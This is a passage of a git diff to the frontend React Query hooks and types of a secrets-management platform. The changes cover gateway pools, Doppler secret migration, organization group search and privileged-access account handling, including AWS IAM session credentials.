 export type TGatewayConnectedAppConnection = {
diff --git a/frontend/src/hooks/api/gateways/queries.tsx b/frontend/src/hooks/api/gateways/queries.tsx
index ef4dafb75b7..89f662db9b2 100644
--- a/frontend/src/hooks/api/gateways/queries.tsx
+++ b/frontend/src/hooks/api/gateways/queries.tsx
@@ -17,16 +17,54 @@ export const gatewaysQueryKeys = {
           apiRequest.get<TGatewayV2[]>("/api/v2/gateways")
         ]);
 
+        // Filter out enrollment-flow gateways that haven't connected yet
+        // so gateway pickers don't show them as selectable options.
+        const connectedV2 = dataV2.filter((g) => g.identityId || g.heartbeat);
+
         return [
           ...data.gateways.map((g) => ({
             ...g,
-            isV1: true
+            isV1: true as const
           })),
-          ...dataV2.map((g) => ({
+          ...connectedV2.map((g) => ({
             ...g,
-            isV1: false
+            isV1: false as const
           }))
         ];
       }
+    }),
+  listWithTokensKey: () => [...gatewaysQueryKeys.allKey(), "list-with-tokens"],
+  listWithTokens: () =>
+    queryOptions({
+      queryKey: gatewaysQueryKeys.listWithTokensKey(),
+      queryFn: async () => {
+        const [{ data }, { data: dataV2 }] = await Promise.all([
+          apiRequest.get<{ gateways: TGateway[] }>("/api/v1/gateways"),
+          apiRequest.get<TGatewayV2[]>("/api/v2/gateways")
+        ]);
+
+        return [
+          ...data.gateways.map((g) => ({
+            ...g,
+            isV1: true as const,
+            isPending: false as const,
+            hasReEnrollToken: false as const
+          })),
+          ...dataV2.map((g) => {
+            const hasHeartbeat = !!g.heartbeat;
+            const hasToken =
+              g.enrollmentTokenStatus === "pending" || g.enrollmentTokenStatus === "expired";
+            const isPending = hasToken && !hasHeartbeat;
+            const hasReEnrollToken = g.enrollmentTokenStatus === "pending" && hasHeartbeat;
+
+            return {
+              ...g,
+              isV1: false as const,
+              isPending,
+              hasReEnrollToken
+            };
+          })
+        ];
+      }
     })
 };
diff --git a/frontend/src/hooks/api/identities/mutations.tsx b/frontend/src/hooks/api/identities/mutations.tsx
index 8a39b2fb067..9f2163c4dad 100644
--- a/frontend/src/hooks/api/identities/mutations.tsx
+++ b/frontend/src/hooks/api/identities/mutations.tsx
@@ -3,6 +3,7 @@ import { useMutation, useQueryClient } from "@tanstack/react-query";
 import { apiRequest } from "@app/config/request";
 import { projectIdentityQuery, projectKeys } from "@app/hooks/api";
 
+import { gatewayPoolsQueryKeys as gatewayPoolsKeys } from "../gateway-pools/queries";
 import { organizationKeys } from "../organization/queries";
 import { identitiesKeys } from "./queries";
 import {
@@ -1414,6 +1415,7 @@ export const useAddIdentityKubernetesAuth = () => {
       accessTokenNumUsesLimit,
       accessTokenTrustedIps,
       gatewayId,
+      gatewayPoolId,
       tokenReviewMode
     }) => {
       const {
@@ -1432,6 +1434,7 @@ export const useAddIdentityKubernetesAuth = () => {
           accessTokenNumUsesLimit,
           accessTokenTrustedIps,
           gatewayId,
+          gatewayPoolId,
           tokenReviewMode
         }
       );
@@ -1453,7 +1456,10 @@ export const useAddIdentityKubernetesAuth = () => {
         });
       }
       queryClient.invalidateQueries({ queryKey: identitiesKeys.getIdentityById(identityId) });
-      queryClient.invalidateQueries({ queryKey: identitiesKeys.getIdentityAzureAuth(identityId) });
+      queryClient.invalidateQueries({
+        queryKey: identitiesKeys.getIdentityKubernetesAuth(identityId)
+      });
+      queryClient.invalidateQueries({ queryKey: gatewayPoolsKeys.allKey() });
     }
   });
 };
@@ -1553,6 +1559,7 @@ export const useUpdateIdentityKubernetesAuth = () => {
       accessTokenNumUsesLimit,
       accessTokenTrustedIps,
       gatewayId,
+      gatewayPoolId,
       tokenReviewMode
     }) => {
       const {
@@ -1571,6 +1578,7 @@ export const useUpdateIdentityKubernetesAuth = () => {
           accessTokenNumUsesLimit,
           accessTokenTrustedIps,
           gatewayId,
+          gatewayPoolId,
           tokenReviewMode
         }
       );
@@ -1595,6 +1603,7 @@ export const useUpdateIdentityKubernetesAuth = () => {
       queryClient.invalidateQueries({
         queryKey: identitiesKeys.getIdentityKubernetesAuth(identityId)
       });
+      queryClient.invalidateQueries({ queryKey: gatewayPoolsKeys.allKey() });
     }
   });
 };
diff --git a/frontend/src/hooks/api/identities/queries.tsx b/frontend/src/hooks/api/identities/queries.tsx
index 5614802ceb6..39e88b338c3 100644
--- a/frontend/src/hooks/api/identities/queries.tsx
+++ b/frontend/src/hooks/api/identities/queries.tsx
@@ -330,9 +330,11 @@ export const useGetIdentityLdapAuth = (
   });
 };
 
-export const useGetIdentityTokensTokenAuth = (identityId: string) => {
+export const useGetIdentityTokensTokenAuth = (
+  identityId: string,
+  options?: TReactQueryOptions["options"]
+) => {
   return useQuery({
-    enabled: Boolean(identityId),
     queryKey: identitiesKeys.getIdentityTokensTokenAuth(identityId),
     queryFn: async () => {
       const {
@@ -341,7 +343,11 @@ export const useGetIdentityTokensTokenAuth = (identityId: string) => {
         `/api/v1/auth/token-auth/identities/${identityId}/tokens`
       );
       return tokens;
-    }
+    },
+    staleTime: 0,
+    gcTime: 0,
+    ...options,
+    enabled: Boolean(identityId) && (options?.enabled ?? true)
   });
 };
 
diff --git a/frontend/src/hooks/api/identities/types.ts b/frontend/src/hooks/api/identities/types.ts
index 38d8f9b8ec6..cee4aa4cda3 100644
--- a/frontend/src/hooks/api/identities/types.ts
+++ b/frontend/src/hooks/api/identities/types.ts
@@ -516,6 +516,7 @@ export type IdentityKubernetesAuth = {
   accessTokenNumUsesLimit: number;
   accessTokenTrustedIps: IdentityTrustedIp[];
   gatewayId?: string | null;
+  gatewayPoolId?: string | null;
 };
 
 export type AddIdentityKubernetesAuthDTO = {
@@ -529,6 +530,7 @@ export type AddIdentityKubernetesAuthDTO = {
   allowedNames: string;
   allowedAudience: string;
   gatewayId?: string | null;
+  gatewayPoolId?: string | null;
   caCert: string;
   accessTokenTTL: number;
   accessTokenMaxTTL: number;
@@ -549,6 +551,7 @@ export type UpdateIdentityKubernetesAuthDTO = {
   allowedNames?: string;
   allowedAudience?: string;
   gatewayId?: string | null;
+  gatewayPoolId?: string | null;
   caCert?: string;
   accessTokenTTL?: number;
   accessTokenMaxTTL?: number;
diff --git a/frontend/src/hooks/api/index.tsx b/frontend/src/hooks/api/index.tsx
index a3b6fe219e1..1cb852ac8f9 100644
--- a/frontend/src/hooks/api/index.tsx
+++ b/frontend/src/hooks/api/index.tsx
@@ -4,7 +4,6 @@ export * from "./admin";
 export * from "./aiMcpActivityLogs";
 export * from "./aiMcpEndpoints";
 export * from "./aiMcpServers";
-export * from "./apiKeys";
 export * from "./approvalGrants";
 export * from "./approvalPolicies";
 export * from "./approvalRequests";
@@ -21,6 +20,7 @@ export * from "./certificateTemplates";
 export * from "./dynamicSecret";
 export * from "./dynamicSecretLease";
 export * from "./emailDomains";
+export * from "./gateway-pools";
 export * from "./gateways";
 export * from "./githubOrgSyncConfig";
 export * from "./groups";
@@ -55,7 +55,7 @@ export * from "./secretApproval";
 export * from "./secretApprovalRequest";
 export * from "./secretFolders";
 export * from "./secretImports";
-export * from "./secretRotation";
+export * from "./secretInsights";
 export * from "./secrets";
 export * from "./secretSharing";
 export * from "./secretSnapshots";
diff --git a/frontend/src/hooks/api/migration/mutations.tsx b/frontend/src/hooks/api/migration/mutations.tsx
index 00d3148efe9..216f4710239 100644
--- a/frontend/src/hooks/api/migration/mutations.tsx
+++ b/frontend/src/hooks/api/migration/mutations.tsx
@@ -6,7 +6,15 @@ import { secretKeys } from "@app/hooks/api/secrets/queries";
 
 import { projectKeys } from "../projects";
 import { externalMigrationQueryKeys } from "./queries";
-import { TImportVaultSecretsDTO, TVaultExternalMigrationConfig, VaultImportStatus } from "./types";
+import {
+  ExternalMigrationImportStatus,
+  TCreateExternalMigrationConfigDTO,
+  TDeleteExternalMigrationConfigDTO,
+  TExternalMigrationConfig,
+  TImportDopplerSecretsDTO,
+  TImportVaultSecretsDTO,
+  TUpdateExternalMigrationConfigDTO
+} from "./types";
 
 export const useImportEnvKey = () => {
   const queryClient = useQueryClient();
@@ -73,9 +81,9 @@ export const useImportVault = () => {
 export const useImportVaultSecrets = () => {
   const queryClient = useQueryClient();
 
-  return useMutation<{ status: VaultImportStatus }, object, TImportVaultSecretsDTO>({
+  return useMutation<{ status: ExternalMigrationImportStatus }, object, TImportVaultSecretsDTO>({
     mutationFn: async (dto) => {
-      const { data } = await apiRequest.post<{ status: VaultImportStatus }>(
+      const { data } = await apiRequest.post<{ status: ExternalMigrationImportStatus }>(
         "/api/v3/external-migration/vault/import-secrets",
         dto
       );
@@ -94,71 +102,81 @@ export const useImportVaultSecrets = () => {
   });
 };
 
-export const useCreateVaultExternalMigrationConfig = () => {
+export const useCreateExternalMigrationConfig = () => {
   const queryClient = useQueryClient();
 
-  return useMutation<
-    TVaultExternalMigrationConfig,
-    Error,
-    { connectionId: string; namespace: string }
-  >({
-    mutationFn: async ({ connectionId, namespace }) => {
-      const { data } = await apiRequest.post<{ config: TVaultExternalMigrationConfig }>(
-        "/api/v3/external-migration/vault/configs",
-        {
-          connectionId,
-          namespace
-        }
+  return useMutation<TExternalMigrationConfig, Error, TCreateExternalMigrationConfigDTO>({
+    mutationFn: async ({ connectionId, input }) => {
+      const { data } = await apiRequest.post<{ config: TExternalMigrationConfig }>(
+        `/api/v3/external-migration/${input.provider}/configs`,
+        { connectionId, input }
       );
       return data.config;
     },
-    onSuccess: () => {
+    onSuccess: (_, { input }) => {
       queryClient.invalidateQueries({
-        queryKey: externalMigrationQueryKeys.vaultConfigs()
+        queryKey: externalMigrationQueryKeys.configs(input.provider)
       });
     }
   });
 };
 
-export const useUpdateVaultExternalMigrationConfig = () => {
+export const useUpdateExternalMigrationConfig = () => {
   const queryClient = useQueryClient();
 
-  return useMutation<
-    TVaultExternalMigrationConfig,
-    Error,
-    { id: string; connectionId: string; namespace: string }
-  >({
-    mutationFn: async ({ id, connectionId, namespace }) => {
-      const { data } = await apiRequest.put<{ config: TVaultExternalMigrationConfig }>(
-        `/api/v3/external-migration/vault/configs/${id}`,
-        {
-          connectionId,
-          namespace
-        }
+  return useMutation<TExternalMigrationConfig, Error, TUpdateExternalMigrationConfigDTO>({
+    mutationFn: async ({ id, connectionId, input }) => {
+      const { data } = await apiRequest.put<{ config: TExternalMigrationConfig }>(
+        `/api/v3/external-migration/${input.provider}/configs/${id}`,
+        { connectionId, input }
       );
       return data.config;
     },
-    onSuccess: () => {
+    onSuccess: (_, { input }) => {
       queryClient.invalidateQueries({
-        queryKey: externalMigrationQueryKeys.vaultConfigs()
+        queryKey: externalMigrationQueryKeys.configs(input.provider)
       });
     }
   });
 };
 
-export const useDeleteVaultExternalMigrationConfig = () => {
+export const useDeleteExternalMigrationConfig = () => {
   const queryClient = useQueryClient();
 
-  return useMutation<TVaultExternalMigrationConfig, Error, { id: string }>({
-    mutationFn: async ({ id }) => {
-      const { data } = await apiRequest.delete<{ config: TVaultExternalMigrationConfig }>(
-        `/api/v3/external-migration/vault/configs/${id}`
+  return useMutation<TExternalMigrationConfig, Error, TDeleteExternalMigrationConfigDTO>({
+    mutationFn: async ({ provider, id }) => {
+      const { data } = await apiRequest.delete<{ config: TExternalMigrationConfig }>(
+        `/api/v3/external-migration/${provider}/configs/${id}`
       );
       return data.config;
     },
-    onSuccess: () => {
+    onSuccess: (_, { provider }) => {
       queryClient.invalidateQueries({
-        queryKey: externalMigrationQueryKeys.vaultConfigs()
+        queryKey: externalMigrationQueryKeys.configs(provider)
+      });
+    }
+  });
+};
+
+export const useImportDopplerSecrets = () => {
+  const queryClient = useQueryClient();
+
+  return useMutation<{ status: string; imported: number }, Error, TImportDopplerSecretsDTO>({
+    mutationFn: async (dto) => {
+      const { data } = await apiRequest.post<{ status: string; imported: number }>(
+        "/api/v3/external-migration/doppler/import-secrets",
+        dto
+      );
+      return data;
+    },
+    onSuccess: (_, { targetProjectId, targetEnvironment, targetSecretPath }) => {
+      queryClient.invalidateQueries({ queryKey: dashboardKeys.all() });
+      queryClient.invalidateQueries({
+        queryKey: secretKeys.getProjectSecret({
+          projectId: targetProjectId,
+          environment: targetEnvironment,
+          secretPath: targetSecretPath
+        })
       });
     }
   });
diff --git a/frontend/src/hooks/api/migration/queries.tsx b/frontend/src/hooks/api/migration/queries.tsx
index 77ee0e36203..a2007f17a37 100644
--- a/frontend/src/hooks/api/migration/queries.tsx
+++ b/frontend/src/hooks/api/migration/queries.tsx
@@ -4,7 +4,10 @@ import { apiRequest } from "@app/config/request";
 
 import {
   ExternalMigrationProviders,
-  TVaultExternalMigrationConfig,
+  TDopplerConfig,
+  TDopplerEnvironment,
+  TDopplerProject,
+  TExternalMigrationConfig,
   VaultDatabaseRole,
   VaultKubernetesAuthRole,
   VaultKubernetesRole,
@@ -16,7 +19,7 @@ export const externalMigrationQueryKeys = {
     "custom-migration-available",
     provider
   ],
-  vaultConfigs: () => ["vault-external-migration-configs"],
+  configs: (provider: ExternalMigrationProviders) => ["external-migration-configs", provider],
   vaultNamespaces: () => ["vault-namespaces"],
   vaultPolicies: (namespace?: string) => ["vault-policies", namespace],
   vaultMounts: (namespace?: string) => ["vault-mounts", namespace],
@@ -49,6 +52,17 @@ export const externalMigrationQueryKeys = {
     "vault-ldap-roles",
     namespace,
     mountPath
+  ],
+  dopplerProjects: (configId?: string) => ["doppler-projects", configId],
+  dopplerEnvironments: (configId?: string, projectSlug?: string) => [
+    "doppler-environments",
+    configId,
+    projectSlug
+  ],
+  dopplerConfigs: (configId?: string, projectSlug?: string) => [
+    "doppler-configs",
+    configId,
+    projectSlug
   ]
 };
 
@@ -62,12 +76,12 @@ export const useHasCustomMigrationAvailable = (provider: ExternalMigrationProvid
   });
 };
 
-export const useGetVaultExternalMigrationConfigs = () => {
+export const useGetExternalMigrationConfigs = (provider: ExternalMigrationProviders) => {
   return useQuery({
-    queryKey: externalMigrationQueryKeys.vaultConfigs(),
+    queryKey: externalMigrationQueryKeys.configs(provider),
     queryFn: async () => {
-      const { data } = await apiRequest.get<{ configs: TVaultExternalMigrationConfig[] }>(
-        "/api/v3/external-migration/vault/configs"
+      const { data } = await apiRequest.get<{ configs: TExternalMigrationConfig[] }>(
+        `/api/v3/external-migration/${provider}/configs`
       );
       return data.configs;
     }
@@ -267,3 +281,51 @@ export const useGetVaultLdapRoles = (enabled = true, namespace?: string, mountPa
     enabled: enabled && !!namespace && !!mountPath
   });
 };
+
+export const useGetDopplerProjects = (configId?: string) => {
+  return useQuery({
+    queryKey: externalMigrationQueryKeys.dopplerProjects(configId),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<{ projects: TDopplerProject[] }>(
+        "/api/v3/external-migration/doppler/projects",
+        {
+          params: { configId }
+        }
+      );
+      return data.projects;
+    },
+    enabled: !!configId
+  });
+};
+
+export const useGetDopplerEnvironments = (configId?: string, projectSlug?: string) => {
+  return useQuery({
+    queryKey: externalMigrationQueryKeys.dopplerEnvironments(configId, projectSlug),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<{ environments: TDopplerEnvironment[] }>(
+        "/api/v3/external-migration/doppler/environments",
+        {
+          params: { configId, projectSlug }
+        }
+      );
+      return data.environments;
+    },
+    enabled: !!configId && !!projectSlug
+  });
+};
+
+export const useGetDopplerConfigs = (configId?: string, projectSlug?: string) => {
+  return useQuery({
+    queryKey: externalMigrationQueryKeys.dopplerConfigs(configId, projectSlug),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<{ configs: TDopplerConfig[] }>(
+        "/api/v3/external-migration/doppler/doppler-configs",
+        {
+          params: { configId, projectSlug }
+        }
+      );
+      return data.configs;
+    },
+    enabled: !!configId && !!projectSlug
+  });
+};
diff --git a/frontend/src/hooks/api/migration/types.ts b/frontend/src/hooks/api/migration/types.ts
index f9f4336ba2f..64e9b3a92cd 100644
--- a/frontend/src/hooks/api/migration/types.ts
+++ b/frontend/src/hooks/api/migration/types.ts
@@ -1,28 +1,88 @@
 export enum ExternalMigrationProviders {
   Vault = "vault",
-  EnvKey = "env-key"
+  EnvKey = "env-key",
+  Doppler = "doppler"
 }
 
-export enum VaultImportStatus {
-  Imported = "imported",
-  ApprovalRequired = "approval-required"
-}
-
-export type TVaultExternalMigrationConfig = {
+export type TExternalMigrationConfig = {
   id: string;
   orgId: string;
-  namespace: string;
+  provider: string;
   connectionId: string | null;
   createdAt: string;
   updatedAt: string;
 };
 
+export type TExternalMigrationVaultInput = {
+  provider: ExternalMigrationProviders.Vault;
+  config: { namespace: string };
+};
+
+export type TExternalMigrationDopplerInput = {
+  provider: ExternalMigrationProviders.Doppler;
+  config: Record<string, never>;
+};
+
+export type TExternalMigrationInput = TExternalMigrationVaultInput | TExternalMigrationDopplerInput;
+
+export type TCreateExternalMigrationConfigDTO = {
+  connectionId: string;
+  input: TExternalMigrationInput;
+};
+
+export type TUpdateExternalMigrationConfigDTO = {
+  id: string;
+  connectionId: string | null;
+  input: TExternalMigrationInput;
+};
+
+export type TDeleteExternalMigrationConfigDTO = {
+  provider: ExternalMigrationProviders;
+  id: string;
+};
+
+export type TDopplerProject = {
+  id: string;
+  slug: string;
+  name: string;
+  description?: string | null;
+};
+
+export type TDopplerEnvironment = {
+  id: string;
+  slug: string;
+  name: string;
+  project: string;
+};
+
+export type TDopplerConfig = {
+  name: string;
+  root: boolean;
+  locked: boolean;
+  environment: string;
+  project: string;
+};
+
+export type TImportDopplerSecretsDTO = {
+  configId: string;
+  dopplerProject: string;
+  dopplerEnvironment: string;
+  targetProjectId: string;
+  targetEnvironment: string;
+  targetSecretPath: string;
+};
+
+export enum ExternalMigrationImportStatus {
+  Imported = "imported",
+  ApprovalRequired = "approval-required"
+}
+
 export type TImportVaultSecretsDTO = {
   projectId: string;
   environment: string;
   secretPath: string;
   vaultNamespace: string;
-  vaultSecretPath: string;
+  vaultSecretPaths: string[];
 };
 
 export type VaultKubernetesAuthRole = {
diff --git a/frontend/src/hooks/api/organization/index.ts b/frontend/src/hooks/api/organization/index.ts
index 1506a5777f5..bd6c6a3cf8d 100644
--- a/frontend/src/hooks/api/organization/index.ts
+++ b/frontend/src/hooks/api/organization/index.ts
@@ -23,6 +23,7 @@ export {
   useGetOrgPmtMethods,
   useGetOrgTaxIds,
   useGetOrgTrialUrl,
+  useSearchOrganizationGroups,
   useUpdateOrg,
   useUpdateOrgBillingDetails,
   useUpgradePrivilegeSystem
diff --git a/frontend/src/hooks/api/organization/queries.tsx b/frontend/src/hooks/api/organization/queries.tsx
index a8f78ac01ed..1905348a6b5 100644
--- a/frontend/src/hooks/api/organization/queries.tsx
+++ b/frontend/src/hooks/api/organization/queries.tsx
@@ -49,6 +49,17 @@ export const organizationKeys = {
   }: TListOrgIdentitiesDTO) =>
     [...organizationKeys.getOrgIdentityMemberships(orgId), params] as const,
   getOrgGroups: (orgId: string) => [{ orgId }, "organization-groups"] as const,
+  getOrgGroupsWithParams: (
+    orgId: string,
+    params: {
+      offset?: number;
+      limit?: number;
+      search?: string;
+      roles?: string[];
+      orderBy?: string;
+      orderDirection?: string;
+    }
+  ) => [...organizationKeys.getOrgGroups(orgId), params] as const,
   getOrgIntegrationAuths: (orgId: string) => [{ orgId }, "integration-auths"] as const,
   getOrgById: (orgId: string) => ["organization", { orgId }],
   getAvailableIdentities: () => ["available-identities"],
@@ -643,6 +654,55 @@ export const useGetOrganizationGroups = (organizationId: string) => {
   });
 };
 
+export const useSearchOrganizationGroups = ({
+  organizationId,
+  offset,
+  limit,
+  search,
+  roles,
+  orderBy,
+  orderDirection
+}: {
+  organizationId: string;
+  offset?: number;
+  limit?: number;
+  search?: string;
+  roles?: string[];
+  orderBy?: string;
+  orderDirection?: string;
+}) => {
+  return useQuery({
+    queryKey: organizationKeys.getOrgGroupsWithParams(organizationId, {
+      offset,
+      limit,
+      search,
+      roles,
+      orderBy,
+      orderDirection
+    }),
+    enabled: Boolean(organizationId),
+    placeholderData: (prev) => prev,
+    queryFn: async () => {
+      const {
+        data: { groupMemberships, totalCount }
+      } = await apiRequest.get<OrgGroupMembershipResponse>(
+        "/api/v1/organizations/memberships/groups",
+        {
+          params: {
+            limit,
+            offset,
+            search: search || undefined,
+            roles: roles?.length ? roles : undefined,
+            orderBy,
+            orderDirection
+          }
+        }
+      );
+      return { groups: groupMemberships.map(mapOrgMembershipToGroup), totalCount };
+    }
+  });
+};
+
 export const useGetOrgIntegrationAuths = <TData = IntegrationAuth[],>(
   organizationId: string,
   select?: (data: IntegrationAuth[]) => TData
diff --git a/frontend/src/hooks/api/pam/enums.ts b/frontend/src/hooks/api/pam/enums.ts
index d8f4e18d005..7a00c644a69 100644
--- a/frontend/src/hooks/api/pam/enums.ts
+++ b/frontend/src/hooks/api/pam/enums.ts
@@ -2,7 +2,6 @@
 export enum PamResourceType {
   Postgres = "postgres",
   MySQL = "mysql",
-  RDP = "rdp",
   SSH = "ssh",
   Kubernetes = "kubernetes",
   OracleDB = "oracledb",
@@ -18,8 +17,7 @@ export enum PamResourceType {
   Snowflake = "snowflake",
   DynamoDB = "dynamodb",
   AwsIam = "aws-iam",
-  Windows = "windows",
-  ActiveDirectory = "active-directory"
+  Windows = "windows"
 }
 
 export enum PamResourceOrderBy {
diff --git a/frontend/src/hooks/api/pam/maps.ts b/frontend/src/hooks/api/pam/maps.ts
index 5cba0f893e1..1f1148164b2 100644
--- a/frontend/src/hooks/api/pam/maps.ts
+++ b/frontend/src/hooks/api/pam/maps.ts
@@ -6,7 +6,6 @@ export const PAM_RESOURCE_TYPE_MAP: Record<
 > = {
   [PamResourceType.Postgres]: { name: "PostgreSQL", image: "Postgres.png" },
   [PamResourceType.MySQL]: { name: "MySQL", image: "MySql.png" },
-  [PamResourceType.RDP]: { name: "RDP", image: "RDP.png" },
   [PamResourceType.SSH]: { name: "SSH", image: "SSH.png" },
   [PamResourceType.Kubernetes]: { name: "Kubernetes", image: "Kubernetes.png" },
   [PamResourceType.OracleDB]: { name: "OracleDB", image: "Oracle.png", size: 55 },
@@ -22,6 +21,5 @@ export const PAM_RESOURCE_TYPE_MAP: Record<
   [PamResourceType.Snowflake]: { name: "Snowflake", image: "Snowflake.png" },
   [PamResourceType.DynamoDB]: { name: "DynamoDB", image: "DynamoDB.png", size: 55 },
   [PamResourceType.AwsIam]: { name: "AWS IAM", image: "Amazon Web Services.png" },
-  [PamResourceType.Windows]: { name: "Windows Server", image: "Windows.png" },
-  [PamResourceType.ActiveDirectory]: { name: "Active Directory", image: "ActiveDirectory.png" }
+  [PamResourceType.Windows]: { name: "Windows Server", image: "Windows.png" }
 };
diff --git a/frontend/src/hooks/api/pam/mutations.tsx b/frontend/src/hooks/api/pam/mutations.tsx
index af356dfd566..3cf95e4326e 100644
--- a/frontend/src/hooks/api/pam/mutations.tsx
+++ b/frontend/src/hooks/api/pam/mutations.tsx
@@ -137,9 +137,9 @@ export const useSetPamResourceFavorite = () => {
 export const useCreatePamAccount = () => {
   const queryClient = useQueryClient();
   return useMutation({
-    mutationFn: async ({ resourceType, ...params }: TCreatePamAccountDTO) => {
+    mutationFn: async ({ parentType, ...params }: TCreatePamAccountDTO) => {
       const { data } = await apiRequest.post<{ account: TPamAccount }>(
-        `/api/v1/pam/accounts/${resourceType}`,
+        `/api/v1/pam/accounts/${parentType}`,
         params
       );
 
@@ -154,9 +154,9 @@ export const useCreatePamAccount = () => {
 export const useUpdatePamAccount = () => {
   const queryClient = useQueryClient();
   return useMutation({
-    mutationFn: async ({ resourceType, accountId, ...params }: TUpdatePamAccountDTO) => {
+    mutationFn: async ({ parentType, accountId, ...params }: TUpdatePamAccountDTO) => {
       const { data } = await apiRequest.patch<{ account: TPamAccount }>(
-        `/api/v1/pam/accounts/${resourceType}/${accountId}`,
+        `/api/v1/pam/accounts/${parentType}/${accountId}`,
         params
       );
 
@@ -172,9 +172,9 @@ export const useUpdatePamAccount = () => {
 export const useDeletePamAccount = () => {
   const queryClient = useQueryClient();
   return useMutation({
-    mutationFn: async ({ resourceType, accountId }: TDeletePamAccountDTO) => {
+    mutationFn: async ({ parentType, accountId }: TDeletePamAccountDTO) => {
       const { data } = await apiRequest.delete<{ account: TPamAccount }>(
-        `/api/v1/pam/accounts/${resourceType}/${accountId}`
+        `/api/v1/pam/accounts/${parentType}/${accountId}`
       );
 
       return data.account;
@@ -191,13 +191,20 @@ export type TAccessPamAccountDTO = {
   accountName: string;
   projectId: string;
   duration: string;
+  reason?: string;
 };
 
 export type TAccessPamAccountResponse = {
   sessionId: string;
   resourceType: string;
-  consoleUrl?: string;
   metadata?: Record<string, string | undefined>;
+  // AWS IAM credentials (raw STS) -- usable directly by the AWS CLI
+  // and exchangeable for a federated console URL via /sessions/:id/aws-console-url
+  accessKeyId?: string;
+  secretAccessKey?: string;
+  sessionToken?: string;
+  expiresAt?: string;
+  // Gateway-resource fields (Postgres, MySQL, etc.)
   relayClientCertificate?: string;
   relayClientPrivateKey?: string;
   relayServerCertificateChain?: string;
@@ -214,7 +221,8 @@ export const useAccessPamAccount = () => {
       resourceName,
       accountName,
       projectId,
-      duration
+      duration,
+      reason
     }: TAccessPamAccountDTO) => {
       const { data } = await apiRequest.post<TAccessPamAccountResponse>(
         "/api/v1/pam/accounts/access",
@@ -223,7 +231,8 @@ export const useAccessPamAccount = () => {
           resourceName,
           accountName,
           projectId,
-          duration
+          duration,
+          reason
         }
       );
 
@@ -232,6 +241,32 @@ export const useAccessPamAccount = () => {
   });
 };
 
+export type TGetAwsIamConsoleUrlDTO = {
+  sessionId: string;
+  projectId: string;
+  accessKeyId: string;
+  secretAccessKey: string;
+  sessionToken: string;
+};
+
+export const useGetAwsIamConsoleUrl = () => {
+  return useMutation({
+    mutationFn: async ({
+      sessionId,
+      projectId,
+      accessKeyId,
+      secretAccessKey,
+      sessionToken
+    }: TGetAwsIamConsoleUrlDTO) => {
+      const { data } = await apiRequest.post<{ consoleUrl: string }>(
+        `/api/v1/pam/accounts/sessions/${sessionId}/aws-console-url`,
+        { projectId, accessKeyId, secretAccessKey, sessionToken }
+      );
+      return data;
+    }
+  });
+};
+
 // Account Dependencies
 export const useTogglePamAccountDependency = () => {
   const queryClient = useQueryClient();
diff --git a/frontend/src/hooks/api/pam/queries.tsx b/frontend/src/hooks/api/pam/queries.tsx
index 7d8e8ba54d0..d0745d249a0 100644
--- a/frontend/src/hooks/api/pam/queries.tsx
+++ b/frontend/src/hooks/api/pam/queries.tsx
@@ -60,7 +60,6 @@ export const pamKeys = {
     projectId,
     { search }
   ],
-  getAccountPolicy: (policyId: string) => [...pamKeys.accountPolicy(), "get", policyId],
   getSession: (sessionId: string) => [...pamKeys.session(), "get", sessionId],
   getSessionLogs: (sessionId: string) => [...pamKeys.session(), "logs", sessionId],
   listSessions: (projectId: string) => [...pamKeys.session(), "list", projectId],
@@ -169,32 +168,6 @@ export const useGetPamResourceById = (
   });
 };
 
-export const useListRelatedResources = (
-  resourceId?: string,
-  options?: Omit<
-    UseQueryOptions<
-      TPamResource[],
-      unknown,
-      TPamResource[],
-      ReturnType<typeof pamKeys.listRelatedResources>
-    >,
-    "queryKey" | "queryFn"
-  >
-) => {
-  return useQuery({
-    queryKey: pamKeys.listRelatedResources(resourceId || ""),
-    queryFn: async () => {
-      const { data } = await apiRequest.get<{ resources: TPamResource[] }>(
-        `/api/v1/pam/resources/active-directory/${resourceId}/related-resources`
-      );
-
-      return data.resources;
-    },
-    enabled: !!resourceId && (options?.enabled ?? true),
-    ...options
-  });
-};
-
 export const useGetPamResourceDependencies = (
   resourceType?: PamResourceType,
   resourceId?: string
@@ -232,13 +205,17 @@ export const useListPamAccounts = (
   return useQuery({
     queryKey: pamKeys.listAccounts(params),
     queryFn: async () => {
-      const { metadataFilter, filterResourceIds, ...rest } = params;
+      const { metadataFilter, filterResourceIds, filterDomainIds, ...rest } = params;
       const { data } = await apiRequest.post<TListPamAccountsResponse>(
         "/api/v1/pam/accounts/search",
         {
           ...rest,
           metadata: metadataFilter,
           filterResourceIds: filterResourceIds
+            ?.split(",")
+            .map((s) => s.trim())
+            .filter(Boolean),
+          filterDomainIds: filterDomainIds
             ?.split(",")
             .map((s) => s.trim())
             .filter(Boolean)
diff --git a/frontend/src/hooks/api/pam/types/base-account.ts b/frontend/src/hooks/api/pam/types/base-account.ts
index 03bb08c550e..0621019057a 100644
--- a/frontend/src/hooks/api/pam/types/base-account.ts
+++ b/frontend/src/hooks/api/pam/types/base-account.ts
@@ -3,18 +3,26 @@ import { PamResourceType } from "../enums";
 export interface TBasePamAccount {
   id: string;
   projectId: string;
+  parentType: string;
   folderId?: string | null;
-  resourceId: string;
-  resource: {
+  resourceId?: string | null;
+  domainId?: string | null;
+  resource?: {
     id: string;
     name: string;
     resourceType: PamResourceType;
     rotationCredentialsConfigured: boolean;
-  };
+  } | null;
+  domain?: {
+    id: string;
+    name: string;
+    domainType: string;
+  } | null;
   name: string;
   description?: string | null;
   credentialsConfigured: boolean;
   requireMfa?: boolean | null;
+  requireReason?: boolean;
   lastRotatedAt?: string | null;
   lastRotationMessage?: string | null;
   rotationStatus?: string | null;
diff --git a/frontend/src/hooks/api/pam/types/base-resource.ts b/frontend/src/hooks/api/pam/types/base-resource.ts
index c6eb0352fcf..95fac67553a 100644
--- a/frontend/src/hooks/api/pam/types/base-resource.ts
+++ b/frontend/src/hooks/api/pam/types/base-resource.ts
@@ -9,7 +9,7 @@ export interface TBasePamResource {
   projectId: string;
   name: string;
   gatewayId: string;
-  adServerResourceId?: string | null;
+  domainId?: string | null;
   metadata?: { key: string; value: string }[];
   isFavorite?: boolean;
   sessionSummaryConfig?: TSessionSummaryConfig;
diff --git a/frontend/src/hooks/api/pam/types/index.ts b/frontend/src/hooks/api/pam/types/index.ts
index 8e91a0b11b2..ca88f6117d9 100644
--- a/frontend/src/hooks/api/pam/types/index.ts
+++ b/frontend/src/hooks/api/pam/types/index.ts
